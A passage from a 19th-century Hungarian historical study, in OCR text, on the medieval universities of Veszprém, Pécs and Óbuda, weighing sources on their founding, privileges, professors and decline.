ecclesie prepositus ... in libris mille marcas bábuit ad valorem), és
azonkívül tizenöt káptalani tagnak, kiknek egy része alkalmasint
jogi tanár is volt, számos jogi munkája elveszett (exceptis libris
iuris eanonici et civilis quindecim personarum de capitulo, docto-
rum iuris utriusque), mely felsorolásból külömben azon negatív
következményt is vonhatjuk, hogy az egyetemnek külön könyv-
tára nem volt, a mint hazánk többi középkori egyetemeinek
könyvtárairól is csak abból sejthetjük, hogy léteztek, hogy ké-
sőbb minden egyetemnél voltak könyvmásolók es könyvkereske-
dők, még pedig az egyetem rectorának felügyelete alatt (Wal-
laszky, Consp. p. 122). — Más tekintetben azonban sajnos, hogy az
egyetem egy tanárát sem ismerjük név szerint; az 1240 táján
elhunyt híres jogtanár, Paulus Hungarus, bolognai egyetemi tanár
volt, nem veszprémi, mint azt Fejérpataky mondja (Irodalmunk
az Ái-pádok korában. 1878. p.41); és még csak azt sem állíthatjuk
biztosan, hogy a már említett Pál mester és jogtudor (nem az a
Paulus Hungarus, kiről az imént szó volt), kinek IV. László király
128G. november havában hű szolgálatai jutalmául a Németi és Tóthi
helységeket ajándékozta, egyetemi tanár is volt. Az, hogy mint
veszprémi prépost az egyetem rectorának vagy cancellárjának hi-
vatalát viselte, a mint azt "Wenzel Gusztáv és öt követve Fejér-
pataky*) állitani látszanak, meg épen nem valószínű, azért, mert hi-
hetőleg a veszprémi püspök, nem pedig a veszprémi prépost állott
az egyetem élén, úgy mint a pécsi püspök a pécsi egyetem élén.
Hogy Budán a budai prépost, Pozsonyban a pozsonyi prépost volt
később a helybeli egyetem cancellárja, illetőleg vicecaneellárja, azért
volt, mert sem Buda, sem Pozsony nem volt püspöki székhely, az
egyetemen előforduló számos peres ügy pedig úgy kivánta, hogy a
cancellár vagy legalább helyettese az egyetemmel egy és ugyanazon
városban tartózkodjék ; azon körülmény pedig, hogy pl. a bécsi egye-
tem cancellárja nem a bécsi püspök, hanem a bécsi Szt. István egy-
házi prépost volt, semmit sem bizonyít Wenzel feltevése mellett,
mert más volt az ilyenekben a szokás a bécsi és egj'-két más egyete-
men, más hazai főiskoláinkon. — De bármikép hittak légyen is a
veszprémi egyetem tanárait, kik alkalmasint, úgy mint a többi egye-
temeken szokott történni, káptalani s hasonló jövedelmekben nyer-
ték fizetésüket, annyit lY. László okmányából tudunk, hogy ((ki-
váló tudományuknál fogva » az ország legkiválóbb emberei közé
tartozhattak, mit külömben már abból is következtethetnénk, hogy
rendesen káptalanbeli társaikat (és talán némelykor tanári köte-
lességük mellőzésével őket is, de nem kizárólag őket, mint az ok-
mánj' szavainak félreértésével eddig hitték) küldöttek királj^aink
mint követeket úgy a pápához, mint a világi fejedelmekhez ^).
Kár, hogy az egyetem aránylag csak rövid ideig bírta magát
fentartatni. Az említett nagy tűzvész, 1276-ban, a veszprémi egyház
kincseinejtett rengeteg káron kívül elpusztította nem csak az egy-
háznak több szakba vágó, de kivált theologiai, művekből álló könyv-
tárát, hanem az egyetem jogi tanáraiét is, és ez lehetett az első és
legnagyobb csapás, mely az egyetemet virágzásának tetőpontján érte.
IV. László, ki még később is kicsapongásai daczára sem vesztette
el érdeklődését culturális intézményekkel szemben, a mint pl. még
1281-ben az ágostai szerzetesek esztergomi tanodájának oda aján-
dékozta az ottani örmények telkét, mely adományt 1292-ben III.
Endre megerősítette (Fejér, Cod. Dipl. Y. 3. 771. nyomán Bohus
Eezső : A szellemi műveltség állapota Magyarországon az Árpá-
dok korszakában. Budapest. 1876. p. 12 és p. 18),— IV. László, mon-
dom, iparkodott ugyan az egyetemet ismét felsegíteni, és nagyrészt
a végett flut ibidem stúdium quod liacteiius floruerat, reformetur»,
oda ajándékozta a veszprémi egyháznak a siófoki adót, mely
addig a somogyi főispáné volt''), egy más alkalommal pedig Kórus
falut, a Merenye folyón a vámjogot, idegea bíráskodástól ment
vásárjogot és jobbágyainak rendkívüli gyüjtelékadóját; de mindez
aligha volt elégséges, és valószínű, hogy az egyetem, ha előbb
nem, ugy az utolsó árpádházi király, III. Endre halála (1301) után
beállott zavargások alatt feloszlott. Sőt bátran tovább is mehe-
tünk. Lehet még az is, hogy már 1289-ben a pápa parancsára
elrendelt keresztes hadjárat alatt annyira feldúlták, hogy többé
IV. László ápolása sem segíthetett rajta, s így a nagy interregnum
alatt (az Anjoukig) egészen elenyészett, mint mások nj^omán Kerék-
gyártó véli (A míveltség fejlődése Magyarországban. 1880. p. 484).
De magának a veszprémi egyháznak viszonyai sem voltak a XIII.
század utolsó harmadában a főiskola virágzására nézve kedve-
zőek. Az egyház kanonokjai li79. táján törvényes püsjDÖküktől
III. Pétertől elszakadtak és helyébe Miklós erdélyi prépostot akar-
ták püspökké tenni (Péterffy, Conc. I. p. 90 sqq.), az 1279-iki
budai zsinat, tekintettel IV. Incze pápának már érintett 12ö4-iki
tilalmára «quod in praedictis Piegnis (köztük Magyarországban)
leges saeculares de cetero non legentur, si tamen hoc de Piegura
et Principum processerit voluntateo, azt rendelte el, hog}" «ex'
communicentur monitione prjemissa omnes Monachi et Pieli-
giosi qui relictis claustris suis absque Praelatorum suorum licentia
ad scholas ire vei aliud quam grammaticam Theologiam aut Logi-
cam in scholis audire praesumant» (Péterffy, Conc. I. p. 123) és
ezáltal a veszprémi egyetem egyik főstudiumát, a polgári jog tanítá-
sát — ha ugyan, a mi nem valószínű, érvényesült a IV. László
által erőszakkal eloszlatott zsinatnak eme határozata — csaknem
megsemmisítette ; és így bizony nagyon kétesnek kell tartanunk,
csakugyan fennállott-e még az egyetem a XlII-ik század utolsó két
évtizedében.
II. A pécsi egyetem.
Valószínűleg a végett, hogy a veszprémi egyetem megszű-
nése által támadt hézagot betöltse. Nagy Lajos (1342 — 1382)
Pécseit új egyetemet alapított, melyre annál inkább szüksége volt
az országnak, mert az 1309-iki budai zsinatnak egy határozata értei-
10
mében minden érseki tanoilában egy a kánoni jogban jártas
e-íjénnek, minden püspöki tanodában pedig egy a szabad művé-
szetekben jártas mesternek kellett hogy legyen, ki a clerikusokat
és egyéb tanulókat oktassa'). Y. Orbán pápa Avignonban 1;JG7.
szept. elsején kelt bullájával, mely nagyrészt szóról szóra meg-
egyezik a bécsi egyetem alapitását jóváhagyó bullájával, Nagy
Lajosnak kérésére helybenhagyta a pécsi egyetem felállítását,
és megszabta, hogy minden tudományszakból lehessen benne
előadásokat tartani, a hittudomány kivételével, azaz, hogy az új
egyetem ugj-anazon jogokkal bírjon, mint a ket evvel azelőtt
(lo65-benj alapított bécsi egj^etem, melj^nek Orbán pá^3a szintén
megtagadta a theologiai tudományok előadásának jogát, daczára
annak, hogy Eudolf osztrák berezeg alapító oklevelében már
meghatározta volt, hogy a bécsi főiskolán ne csak a szubad művé-
szetek, a kánoni és polgári jog és az orvostan, hanem a theologia
is elöadassék (Aschbach, Gesch. d. Wiener üniversitát. I. p. 13. 18).
Nagy Lajos hasonlóan járt. Alapító oklevelében a hittani kar fel-
állítását is elrendelte («in qualibet licita l'acultate . . . ut ibidem
fides ipsa dilatetur, erudiantur simplices»), de Y. Orbán pápa neki is
megtiltotta a hittani kar felállítását. Miért, nem tudjuk. Eudolf
osztrák herczegn-k alkalmasint azért tiltotta volt meg, mert lY.
Károly császár, ki a pápánál nagy befolyással bírt, attól tartott,
hogy egy teljes hécsi egyetem nem rég (1348-ban) alapított prágai
egyetemének veszélyes vetélytársa lehetne, de a pécsi egyetemet
illetőleg hasonló okok aligha lehettek mérvadók, és így nem valószí-
nűtlen Thomassin nézete (Lányinál, I. p. 542), hogy csakugyan az
eretnek tanoktól való félelem indította Y. Orbán pápát a pécsi egye-
tem jövőjét oly annyira veszélyeztető tilalmának közre bocsátására.
Yagy talán inkább Paulsen nézetét helyeseljük az ilyenekben (Hist.
Zeitschr. 1881. p. 271), ki azt hiszi, hogy Y. Márton pápa 1419-ben
azért tiltotta meg a rostocki egyetemnek a theologiai facultás fel-
állítását, mert nem akart a theologiai czímek adományozásának
fontos jogával olyan egyetemet megajándékozni, melynek életere-
jében és hittudományi karának jóságában nem eléggé bízott?
Annyi mindenesetre valószínű, hogy Szvorényi Mihály (De causa
non permissa* Facultatis Theol. in Univ. Quinqu., az Amoen. Hist.
Eccl.-ben L m. -2) hiába kereste e tilalom okát azon körülményben,
hogy Pécsett a székesegyházi tanodában úgy is tárgyaltatott a hit-
11
tudomány. — Máskülömben azonban Orbán pápa nem volt szűk-
keblű az új egyetem irányában ; megadta a pécsi egyetem tanárai-
nak és hallgatóinak a szokásos privilégiumokat és szabadalmakat,
és meghagyta, hogy mindig a pécsi püspök, illetőleg szeküresség
esetében a káptalani helynök, legyen az egyetem főigazgatója,
cancellárja, kinek kötelessége volt az egyetemen előadott tanokra
felügyelni, és kinek jogában állott arra érdemes egyéneknek, de
csak Í8 ilyeneknek, a szokásos vizsga alapján, bármely akadémiai
czimet adományozni, mely adományozás arra jogositotta az illető
graduáltat, hogy bármely egyetemen a nélkül, hogy ujabb vizsgá-
nak kellett volna magát alávetnie, előadásokat tarthatott ^).
A pápának ezen megerősítésével meg volt vetve alapja a pécsi
egyetem virágzásának. Orbán pápa ugyan ezen megerősítését azon
föltételhez kötötte, hogy a király az általa alapított egyetem tanárai-
nak illő jövedelmeket biztosítson és, ha lehetséges, az egyetem taná-
rainak és tanítványainak eredetileg adott kiváltságait ujabbakkal
szaporítsa ^), de természetesen szó sem lehetett arról, hogy az
egyetem ezen föltételek lelkiismeretes megtartása híján megszűn-
hetett volna, és hogy Nagy Lajos, ki mindjárt eleinte szép kivált-
ságokat biztosított azok számára, kik tanulmányaik folytatása
czéljából a pécsi egyetemre jöttek^"), ezen kedvencz intézményét
cserben hagyhatta volna. A kedvezményeket, melyekkel Nagy Lajos
egyeteme tanárainak, tanulóinak és ezek szolgáinak kedveskedett,
nem ismerjük ugyan — az illető királyi oklevél elveszett — de való-
színű, hogy nem nagyon külömböztek azoktól, melyeket két évvel
előbb Rudolf osztrák herczeg a bécsi egyetem tanárai, tanulói s ezek
szolgáinak biztosított, hogy t. i. mindenféle adó és vám alól fel
legyenek mentve, és vétségeikért nem a közönséges városi hatósá-
goknak, hanem külön egyetemi törvényszéknek legyenek felelősek
(Aschbach, Gesch. d. "Wiener Universitát. 1. p. 13). Hogy ezen
feltevésünk alighanem helyes, kitűnik azon körülményből is, hogy
az előbbi kedvezmény egy 14ő8-iki országgyűlési határozat által az
ország valamenyi tanulóinak megadatott ^^), ez utóbbit pedig a po-
zsonyi egyetem tanárai és tanulói is élvezték, míg az ó-budai és
veszprémi egyetem belszervezetéről semmi tudomásunk sincsen.
Más oldalról is hathatósan támogatták az űj főiskolát. Nem-
csak hogy a király kétségkívül szavát tartotta és jól fizette a tanáro-
kat, kik között Lányi (I. p. 547) és Szalay József (A magyar nemzet
12
története. 11. 1880. p. 329) gyanítása szerint nagy számmal lehet
tek képviselve az olaszok, hanem a pécsi püspök is, közülük egye-
sek számára rendes fizetést állapított meg. így pl. Vilmos püspök
a bolognai decretorum doctor és iuris canonici egyetemi tanár-
nak, Galvano Betbininek, kiről Lányi (I. p, 547) ^zt hitte, hogy
alighanem több bolognai polgártársával oktatott a pécsi fötano-
dában és hogy magával hozta a bolognai egyetem szabályait,
naponkinti egy-két órai tanításért 1372-ben évi fizetésűi há-
romszáz ezüst márkát vagyis hatszáz aranyforintot és Yruch falu-
nak hetven aranyforintra rúgó jövedelmeit szabta meg és azonkí-
vül neki és utódainak oda ajándékozta azon házat, melj'ben Pé-
csett lakott. XI. Gergely pápa, kitől Bethininek az adományozó
oklevél értelmében meg kellett nyerni a donatio megerősítését,
ugyan Bethini életnapjaira szorította meg az adományozást ^^), de
így is meg lehetett elégedve Bethini állásával, minthogy az akkori
kor viszonyaihoz képest ezen jövedelem, mint tanári jövedelem,
— bírónak évenkint ezer ezüst forint jövedelme is volt — bizony
roppant nagj^nak tűnik fel, akár 7200 forintra becsüljük az újabb
árfolyam szerint ama háromszáz ezüst márkát, mint azt Katona
tévé a múlt század vége felé, akár körülbelül húszezer forintra,
mint napjainkban Szalay József (A magyar nemzet története.
1880. II. p. 337) ; és a kérdéses összeg annál nagyobbnak fog fel-
tűnni, minél inkább meggyőződünk arról, hogy még később, drá-
gább időkben is, elsőrangú egyetemek jogi tanárai — és ezek voltak
aránylag legjobban fizetve — mily csekély fizetést élveztek Bethini
fizetésével szemben. így pl. a nagy lipcsei egyetemen a jogi tanár
fizetése a XV. század vége felé legfeljebb 100 forint, Baselben 80,
Tübingenben (1491-ben) 120,Ingolstadtban (1472-ben) 130 forint,
és 1410-ben Heidelbergben egy átlag 70 — 80 forintot jövedelmező
príebendán kívül legfeljebb 120 forint volt (v. ö. Paulsen, Organisa-
tion und Lebensordnung der deutschen üniversitáten ím Mittelal-
ter.Hist. Zeitschr. 1881. p. 432—435.). — Ugyancsak XI. Gergely
pápa 1376. jan. IC) -ikán a pécsi egyetemnek egyházi javadalmakkal
bíró tanárait és tanulóit öt évre felmentette azon kötelezettség
alól, hogy beneficiumjaikban tartózkodjanak, és ugyanazon időtar-
tamra, daczára annak, hogy hazulról távol voltak, meghagyta őket
javadalmaik élvezetében, és ezen szabadalom által, melyet V. Orbán
pápa a bécsi egyetem tanárainak és tanulóinak is megadott volt
i:
(Kink, Gesch. derUniv. Wien. 11. p. 29), nagyon megkönnyitette a
pécsi egyetem látogatását azon körök számára, melyek a középkor
ama szakában az egyetemi tanárok és tanulók legnagyobb contin-
gensét képezték ^^). Végre egy másik pápa, meglehet, hogy IX.
Bonifácz, megengedte a pécsi püspöknek, hogy a külömben pápai
kinevezésnek fentartott egyházi javadalmak közöl a pécsi Sz.
János egyházi és a pozsegai Sz. Péter egyházi prépostságofc, a pécsi
egyetemen az egj^házi és polgári jog egy-egy tanárának adoüiá-
nyozhassa, még azon esetben is, ha az illető tanár az emiitett
prépostságokkal compatibilis egy vagy két más egyházi java-
dalmat már élvezne^*).
Ilyen körülmények között, és főkép, mert az új egyetem, üg}^
mint annak előtte a veszprémi is, a jogtudományra kiváló gondot
fordított, nem csod;^, hogy a pécsi egyetem sokáig tartotta fen
magát, sokkal tovább, mint Magyarország bármely más közép-
kori egyeteme, és hogy a jogi tudomány terjesztésére hazánkban
nem csekély befolyást gyakorolhatott, mi azon körülményből is
kitűnik, hogy, Toldy szerint, különösen ezen egyetem alapítása óta
hazánkban a decretalium doctorok száma nagyon szaporodott ^^)-
Annál feltűnőbb, hogy XI. Gergely pápának 1376-ban kelt emlí-
tett bullája óta több mint másfél századon át biztos adatunk az egye-
tem létezéséről, vagy még iakább virágzásáról, nincsen. Még Mátyás
király uralkodása alatt sem hallunk felöle, ha csak nem akarjuk
Mária Teréziának a budai egyetemnek 1780-ban adott « diploma
inaugurale» -jávai (Fejérnél, Hist. Acad. Scient., Doc. p. 40) és
Lakyval (Művelődésünk Zsigmond alatt. 1876. p. 45) az 1458-iki
országgyűlés határozatainak tizedik pontjából, melynek értelmében
a tanulók, úgy mint a papok és a nemesek, fel voltak mentve az
adó és vám fizetésétől, azt következtetni, hogy 1 4-58. táján (az
ó-budai és) a pécsi egyetem még virágzott.
Egészen valószínűtlenek a következő állítások és hypothesisek.
A mint Szerdahelyi (Chorogr. j), 226) is mondja, hogy némelyek téves
állítása szerint Vitéz János és Janus Pannonius a pécsi egyetem nö-
vendékei voltak, úgy még Teleki Sámuel gróf is (Janus Pannonius
biographiájában p. 1 84) Janus Pannonius azon szavaiból, hogy mi-
helyest tisztán beszélni tudott, anyja öt «protinus ingenuas docil^m
transmittis ad artes« (Lib. I. Elég. VI. v. 99), elég furcsán azt kö-
vetkeztette, hogy Janus Pannonius gyermekkori tanulmányait al-
14
kalmasint a pécsi «gymiiasium»)-on végezte. Lakj' szerint (i. m. p.
45) ('aranykorát ez intézet nem N. Lajos, nem Zsigmond, hanem a
balhatatlan Hunyadiak alatt élte», és « virágzását leginkább a hall-
gatók nagy, két, néha négy ezerre menő számából következtet-
hetjük)) . Lányi meg majd azt állítja (Magyar katholikus clerus érde-
mei . . , p. 84), hogy « a pécsi Í8kolának,a II. Pál levele szerint némileg
hanyatlónak, Cesinge János püspök volt föléle8ztöje»), majd azt
(Egyháztörténelem, I. p. 542), hogy «aranykora lehetett Pécs fö'
iskolájának Cesinge János és Ernuszt Zsigmond püspök s királyi
kincstárnok korában" ; de mindez természetesen nem egyéb puszta
sejtelemnél. Hogy a pécsi egyet-m U. Ulászló alatt is virágzott,
azon kétes értékű körülményből szokás következtetni, hogy
1494. márczius 2-ikán a «schola maior Quinqueecclesiensisw (az
egyetem '?) néhány tanulója a királyi udvartól három forintot ka-
pott ajándékúP^). Végre azt állítja Timon (Synopsis nova Chrono-
logiae. 1714. ad ann. 1526) és öt követve Fraknóí (A hazai ós kül-
földi iskolázás, p. 138), Laky (i. m. p. 45) és Szalay József (i. m.
p. 337), hogy a mohácsi ütközetben három száz pécsi tanuló elesett
(((Academici Quinqueecclesíenses trecentiw), mit Szerdahelj'i oda
ferdít el (Chorogr. p. 226), hogy «illorum authoritas fidem mere-
tur, qui asserunt trecentos ex eadem Academia adolescentes
Magistro duce calamos in gladios mutasse, ac dum fortiter contra
communem Christianitatis hostem decertarent, in campo Mohacsi-
ensi pro fide et patria gloriose occubuisse.») De minthogy erről
Istvánffy, Brodarich, Cuspinianus, Yerancsics, Burgio, Heltai,
Katona, Hammer, Horváth, Szalay László semmit sem tudnak, na-
gyon is kétes Timon ezen állításának hitelessége. Az imént felsorolt
hypothesiseknél sokkal fényesebb bizonyságot tesz a pécsi egyetem
életrevalóságáról azon körülmény, hogy a H. Lajos halála után
bekövetkezett óriási zavarok alatt is fen bírta magát tartani, és
hogy Istvánffy Miklós híres történészünk tanúsága szerint, ki
Szerdahelyi, Lányi, Toldy ós Fraknói téves állítása szerint a pécsi
egyetemnek növendéke volt, tanulóinak száma a mohácsi csata
után és az 1 5 i3-iki háború előtt a két ezret meghaladta ^'').
Nehéz biztosan meghatározni, mikor szűnt meg a pécsi
egyetem. Fejér (Hist, Acad. p. 0), és Toldy (i. m. I. p. 150, II.
p. 23) nem tudom, minek alapján, az 1547-ik évbe helyezik elpusz-
tulását, Fraknói (A hazai és külf. iskolázás, p. 31) ós Szalay József
15
(i. m. p. 337), mint látni fogjuk helyesebben, 1543-ba, Mária Terézia
királynőnek 1780-ban kelt «Diploma inaugurale»-ja (Fejérnél
Hist. Acad., Doc. p. 40) 152G-ba, de mind ezen ehronologiai meg-
határozást zavarja azon általánosan elfogadott nézet, hogy a sien-
nai származású lUicinus Péter jogtudós egy ideig a pécsi egyetem-
nek élén állott. Csakhoij ezen álhtás alapos volta ellen nagyon
komoly érveket lehet felhozni. Tudtommal legalább Koller (Prolegg.
p. 144 sqq.). Wallaszky (Consp. p. 173), Denis (WB. I. p. 482) és
Fraknói (A hazai és külf. iskolázás, p. 129) ezen nézete csak
Péter%n alapszik, ki (Concil. I. p. 318) azt mondja Illicinusról,
hogy «ex Itália natali solo Yiennam, Varsoviam, Olomuncium,
demum Tyrnaviam delatus, quum Nicolao Olaho se addixisset,
Academiae Quinque-Ecclesiensi regendfe admovetur, cui muneri
ne auctoritas deesset, Prapposituram S. Thomae ad Strigonium
Olomucensi Canonicorum Collegio iam insertus ab Archiepiscopo
accepit.)) Ebből kiindulva mondja Wallaszky (Consp. p. J73):
«Ad annum 1552. Petrus Illicinus I. U. Doctor et Canonicus
Strigoniensis. vir, qui iam prius Cracoviae gra-cas docuit litteras,
scholae huic Quinque-Ecclesiensi (Péterffy in Concil. Hung. Part.
L p. 318, Academiam vocat) regendse admotus est : cui muneri ne
auctoritas deesset, Pmeposituram S. Thomse ad Strigonium circa
annum 1558^'^) accepit)), és előbb, p. 144: «variis casibus delatus in
Hungáriám Canonicus Strigoniensis factus, anno 1552 Scholae
Quinque-Ecclesiensi praepositus datus, circa annum 1558 malevo-
lorum odio exactus. Olomucii tandem Canonicus mortuus.» Denis
is (i. h.) azt állítja Péterffy nyomán, hogy Ilhcinus 1552-ben
Magyarországba jött, az egyházi rendbe lépett és a pécsi "gym-
nasiumi) élére állott, mig Fraknói, ki kiderítette, hogy Illicinust
már 1551. vege felé hittak meg Bécsből Nagyszombatba, azt hitte
(A hazai és külf. iskolázás, p. 129), hogy Illicinus még bécsi tanárko-
dásának ideje előtt tanított Pécsett és csak a pécsi főiskola elenye-
szése után nyert Bécsben alkalmazást. — Hogy Péterffy kérdéses
állítása nem valami nagy tekintélyű, már azon körülményből is ki-
tűnik, hogy Illicinusra vonatkozó adatai nagyrészt hamisak: Illi-
cinus előbb ment Krakkóba (nem Varsóba), azután Bécsbe, Xagy-
Szombatl a és csak legutoljára Olmützbe, és az sem hihető, hogy
a jíécsi egyetemhez Oláh Miklós közbenjárása folytán nevezték ki,
kiről tudjuk, hogy 1558-ban a naijyszomhati főiskola igazgatójáva
16
tette Illiciniist, ki ezen állásában 1 560-ig megmaradt (Fraknói, i. m.
p. 130. 13:2). Tudjuk továbbá, hogy a sziléziai származású Libanius
György halála óta (1543) a krakkói egyetemen a görög nyelvet
tanította (Janociana. I. p. 144 — 146) és 1547. ós 1548-ban Krakkó-
ban több munkát kiadott. Hogy 1548-ban még Krakkóban volt, ki-
tűnik 1573-ban Verancsics Antalhoz intézett leveléből is (Péterffy-
nél, Concil. II. p. 4i5), melyben többek közt azt írja, hogy öt «ante
annos viginti quinque in regno adhuc Polonige noveram.)) 1 549-ben
adta ki Krakkóban «Oratio de homine et disciplinis. In quo et
iuvenes ad litterarum studia excitantur. Cracoviíe apud viduam
Floriani Unglerii. M.D.XLIXd czímü müvét, 1551. márczius havá-
ban pedig (v. ö. Denis, i. h.) Bécsben Ferdinánd császár tisztele-
tére írt panegyricusát. ugyanazon év végén az esztergomi káptalan,
üresedésben levén az érsekség, meghívta Illicinust nagyszombati
iskolájának vezetésére és egy kanonoki s egy oltárjavadalmat ado-
mányozott neki, minek fejében Illicinus arra kötelezte magát, hogy
]o5:2. húsvétig lakását átteszi Nagyszombatba, itt az iskola igazga-
tását elvállalja, és naponkint a kanonokok részére a kánoni és pol-
gári jogból előadásokat tart, melyeket bizonyos díj lefizetése mellett
mások is látogathatnak (1. Fraknói, i. h.). Mindebből kitűnik, hogy
Illicinus pécsi tanárkodását legfeljebb az 1549 — 1550. évbe helyez-
hetnök, de másrészről bizonyos Illicinusnak «De rectae fidei digno-
scendae regula sermones» czímü beszédének (Péterffynél, Concil. II.
végén) 1573. január l:2-i kén Verancsics Antal prímáshoz intézett élő-
beszédéből, hogy (kerek számmal) húsz évvel azelőtt (155:2-ben) jött
hazánkba, még pedig, mint az tisztán kivehető a szövegből, legelő-
ször: «Hoc ego intelligens in istud vestram Pannoniariim regnuvi
ante annos vi(iinti a Venerande tiio collegio de Academia Viennensi ac-
citiis, et a sancta^' memóriáé principe Ferdinando in idem collcgiura
lectus et beneíiciis ornatus, dedi pro mea virili operám, ut caput
meum Archiepiscopum et eius Ecclesiam adversus haereticorum
improbitatem . . . defenderem docendq, concionando, iuventutem
Catholice instituendo et tum privátim, tum pubhce in sj-nodis
disserendo et scribendo. » 155:2-től 1560-ig Illicinus, Fraknói szerint,
a nagyszombati iskolán oktatott, és alkalmasint rövid idővel mielőtt
tanári működését elkezdette volna (1551-ben) még bejárta Magyar-
ország és Erdély több vidékét (1. Denis i. h.), de annak, hogy a pé-
csi egyetemen működött volna, sehol semmi nyomát sem találjuk.
J7
Valószínűnek kell tehát tartanunk, hogy Péterffy vagy összetévesz-
tette a nagyszombati főiskolát a pécsivel, vagy a föntebbi idézetben
említett «tmim collegiumo alatt, mely Illicinust Bécsből Magyar-
országba hívta, nem Verancsics prímásnak esztergomi káj^talanját,
hanem tévesen az 1551-ben még csak pécsi püspöki méltóságot el-
foglaló Verancsics pécsi káptalanját értette. Nekem ugyan az előbbi
feltevés valószínűbbnek látszik azért, mert Péterffy tudta, hogy
Illicinus esztergomi kanonok volt, a kérdéses helyből pedig kitű-
nik, hogy ama «tuum collegium», mely Illicinust hazánkba hívta,
ugyanaz, mint a melj^nek később tagja lett, de kivált azért, mert
Péterffy nem említi Illicinus nagyszombati tanárkodását, mi nyil-
ván arra mutat, hogy a pécsi iskolát összetévesztette a nagyszom-
batival. De még ha az utóbbi feltevést helyeseljük is, annyi nekem
legalább bizonyosnak látszik, hogy Illicinus sohasem volt pécsi
egyetemi tanár, és hogy Péteröynek és Wallaszkynak rá vonatkozó
helytelen állításaiból a pécsi egyetem fenállásának' határidejét
megállapítani nem lehet.
Mindezek után tehát csak annyit mondhatunk némi való-
színűséggel Istvánffy alapján, hogy a pécsi egyetem 1543-ban
szűnt meg, mikor Pécs hosszabb időre a török iga alá került ; bár
szigorúan ragaszkodva Istvánffy szavaihoz csak annyit állíthatunk
biztosan, hogy a pécsi egyetem, melynek még egynéhány évvel az
1543-iki hadjárat előtt állítólag mintegy 2000 tanulója volt, akkor,
midőn Istvánffy művét írta, már rég nem létezett többé.
III. Zsigmond király ó-budai egyeteme.
Sokkal rövidebb ideig állott fenn, de nagyobb szervezetű is
volt az «Universitas Budensis)), melyet Zsigmond király a XIV.
század vége felé, alkalmasint 1389-ben, alapított, illetőleg, Bohus
Rezsőnek nem valószínűtlen feltevése szerint (A szellemi mű-
veltség állapota Magyarországon az Árpádok korszakában. 1876.
p. 14) a Budán már a XIII. században virágzó káptalani isko-
lából egyetemmé átalakított. Ezen új főiskola alapítására Zsigmon-
dot kivált azon ok bírhatta, hogy a kevéssel azelőtt alapított
pécsi egyetem nemcsak hogy egyoldalúlag majdnem kizárólag a
jogi tanulmányokra szorítkozott, hanem azonkívül még az ország
lakosságának nagyobb része számára alkalmatlan fekvéssel is bírt,
ÁBEL, Egyetemeink a középkorban. ^
18
és Zsigmond királ}', attól egészen eltekintve, hogy korában majd
hogy fejedelmi divat nem volt egyetemet alapítani, külömhen is
minden módon iparkodott székhelyét, Budát, az ország legjelenté-
kenyebb városává tenni. Ezen utóbbi körülményen kívül még való-
színű, hogy Zsigmondot neje Mária, Nagy Lajos leánya, is buzdította
új egyetem alapítására, annál valószínűbb, mert Mária nénje, Hed-
vig, is nagy érdemeket szerzett magának a krakkói egyetem
alapítása körül.
Sajnos azonban, hogy mind ezen, külömben bármily való-
színű feltevés, sem nyújt biztos felvilágosítást az egyetemnek sem
nevéről, sem keletkezésének idejéről; söt még azon általánosan el-
fogadott feltevés mellett, hogy csakugyan Zsigmond király alapította
az ó-budai egyetemet, csak Inhofiernek alkamasint hiteles ok-
mányolion alapuló határozott állítását és azon körülményt lehet
felhozni, hogy Nagy Lajos aligha alapított országában két egye-
temet. A mi különösen az ó-budai egyetem alapításának idejét illeti,
Inhofíer") és utána Timon és Pray (Ann. II. p. 186) 1389-be
helyezte azt, Wallaszky (Tent. p. 52 és Consp. p. 90), Fejér
(Hist. Acad. Scient. p. 8), ifj. Palugyay Imre (Budapest leírása,
p. 20) és Laky (i. m.p.45) 1388-ba, Lányi (I. p. 542) 1388. tájára.
Wagner Károly (üngr. Magazin. lY. p. 241. 242) és Aschbach
(Geschichte Kaiser Sigismunds. I. 1838. p. 265) az 1410. utáni időbe.
Ez utóbbiak ugyanis hivatkoznak Eaynaldusra (Ann. Eccles. ad a.
1410. § 29), ki az 1410-ik évhez többek közt azt írja, hogy <-pium
etiam Sigismundus academife in Hungária excitandíe conceperat
desiderium. ut rem literarum instauraret, quare Joannes "XXIII.
János pápa] internuntio suo ad eum misso iniunxit, ut de loco ad
illám commodo et agro cognosceret, daretque operám ut immuni-
tatibns consentaneis ornaretum. De minthogy az egyetem
1395-ben már kétségkívül fenállott, vagy azt kell feltennünk, hogy
az ó-budai egyetem az 1396. és 1410. közt fekvő időben feloszlott,
vagy azt, hogy XXIII. János nem fogta fel helyesen Zsigmond
király kérését, mikor 1410. augusztus elsején meghagyta in-
ternuntiusának , Branda piacenzai píispöknek , hogy keressen
Magyarországban vagy Zsigmond királynak más valamel}' orszá-
gában alkalmas helyet, hol egyetemet felállítani lehetne. Ezen
utóbbi feltevés ugyan eléggé merész, de talán mégsem valószí-
nűtlen. Hiszen XXIII. János eme meghagvásából, mely kétségkí-
19
vül Rajaialdus idézett állításának is alapjául szolgált, és melyet
legelőször Tbeiner adott ki ^'^), kitűnik, hogy a pápának pl. a pécsi
egyetem létezésről is, úgy látszik, nem volt tudomása, a mennyiben
úgy ír, mintha Magyarországban vagy Zsigmond király más orszá-
gában egyáltalában nem is léteznék egyetem. Bátran feltehetjük
tehát , hogy XXIII. János pápának idézett okmánya tévedésen
alapul, vagy legfeljebb, hogy valamely új egj^etem alapítására
vonatkozik, mely egyetem az ó-budai mellett is virágozhatott
volna, — ha létre jött volna. Azonban semmi esetre sem lehet
ezen okmány világos szavaival megegyeztetni Lányi azon állítását
(I. p. 54:2. 543), hogy «1410, táján már teljesen fenállhatott
az egyetem : mert említett évben XXIII. Jáuos követe annak hely-
zete, jövedelme s szabadalmairól, mentességéről vizsgálatot tar-
tott», vagy Laky állítását (i. m. p. 16), hogy «ez intézet teljes
kiegészítése az 1410. ev körül következhetett be ». — Végre Fraknói
(Magyarországi tanárok és tanulók a bécsi egyetemen a XIV. és
XV. században. 1874. p. 14) azt hitte, hogy az 1306-ik év, melyben
Joannes de Horow bécsi tanárt Budára meghívták, jelzi az ó-budai
egyetem alapításának idejét; de minthogy tudjuk, hogy IX. Bonifácz
már 1395-ben megerősítette Lukács prépostot az ó-budai egyetem
cancellárjának minősegében, Fraknói időmeghatározását sem fo-
gadhatjuk el. — Mindezen nehézségből csak azon feltevés ment
ki, hogy Inhoífer részletes adatait magából IX. Bonifácz pápának
bullájából merítette, melyhez Rómában, hol munkáját irta, köny-
nyen hozzáférhetett; és így az ó-budai egyetem keletkezését és
annak idejét illetőleg elég biztossággal mondhatjuk, hogy IX.
